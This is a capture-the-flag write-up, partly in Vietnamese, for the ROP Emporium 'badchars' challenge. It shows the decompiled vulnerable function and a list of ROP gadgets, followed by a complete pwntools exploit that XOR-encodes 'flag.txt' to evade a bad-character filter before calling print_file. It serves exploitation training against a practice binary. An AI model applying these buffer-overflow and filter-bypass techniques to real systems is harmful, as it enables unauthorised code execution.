badchars - challenge 5

binary file and my exploit code

hjn4@LAPTOP-TEHHNDTG:/mnt/d/pwn_myself/ROP/chall5_badchars$ file badchars
badchars: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=6c79e265b17cf6845beca7e17d6d8ac2ecb27556, not stripped

Bài này tương tự chall write4 trước. Tuy nhiên có 1 một cái filter ở đây là:

int pwnme()
{
  unsigned __int64 v1; // [rsp+0h] [rbp-40h]
  unsigned __int64 i; // [rsp+8h] [rbp-38h]
  unsigned __int64 j; // [rsp+10h] [rbp-30h]
  char v4[32]; // [rsp+20h] [rbp-20h] BYREF

  setvbuf(stdout, 0LL, 2, 0LL);
  puts("badchars by ROP Emporium");
  puts("x86_64\n");
  memset(v4, 0, sizeof(v4));
  puts("badchars are: 'x', 'g', 'a', '.'");
  printf("> ");
  v1 = read(0, v4, 0x200uLL);
  for ( i = 0LL; i < v1; ++i )
  {
    for ( j = 0LL; j <= 3; ++j )
    {
      if ( v4[i] == badcharacters[j] )
        v4[i] = -21;
    }
  }
  return puts("Thank you!");
}

Việt ghi flag.txt vào địa chỉ chỉ định giờ đây đã không còn đơn giản như ta nghĩ.

Mà chall này cũng cho vài cái hint để ta hướng đến việc thay vì ghi trực tiếp thì ta dùng phép xor trước khi ghi, và lại xor sau khi ghi thành công vào rồi và HOW??? đương nhiên câu trả lời là ROP gadget :))

Ta có các gadget hữu ích sau:

0x0000000000400628 : xor byte ptr [r15], r14b ; ret
0x00000000004006a0 : pop r14 ; pop r15 ; ret

0x0000000000400634 : mov qword ptr [r13], r12 ; ret
0x000000000040069c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret

0x00000000004004ee : ret

Đầu tiên ta sẽ dùng mov,pop r12,r13 để ghi chuỗi ta muốn vào địa chỉ chỉ định, chuỗi này là flag.txt đã được mang đi xor với 2 , địa chỉ chỉ định thì ta cũng tìm như chall write4

Sau đấy thì ta sẽ pop sao cho r14 chứa 2 còn r15 sẽ chứa địa chỉ chuỗi, và tiến hành xor từng byte

Exploit

from pwn import *

r = process("./badchars")
#gdb.attach(r, api = True)

pop_r12_r13_r14_r15 = 0x000000000040069c
mov_r13add_r12 = 0x0000000000400634

pop_r14_r15 = 0x00000000004006a0
xor_r15add_r14 = 0x0000000000400628

ret = 0x00000000004004ee

address_flagtxt = 0x601040
pop_rdi = 0x00000000004006a3
print_file = 0x00400510

#bypass badchars
flag = (''.join(chr(ord(c) ^ 2) for c in "flag.txt")).encode('utf-8')

payload = b'A'*40 + p64(ret)

payload += p64(pop_r12_r13_r14_r15)
payload += flag + p64(address_flagtxt) + p64(1) + p64(1)
payload += p64(mov_r13add_r12)

for i in range(8):
    payload += p64(pop_r14_r15)
    payload += p64(2) + p64(address_flagtxt + i)
    payload += p64(xor_r15add_r14)

payload += p64(pop_rdi)
payload += p64(address_flagtxt)
payload += p64(print_file)


r.sendline(payload)
r.interactive()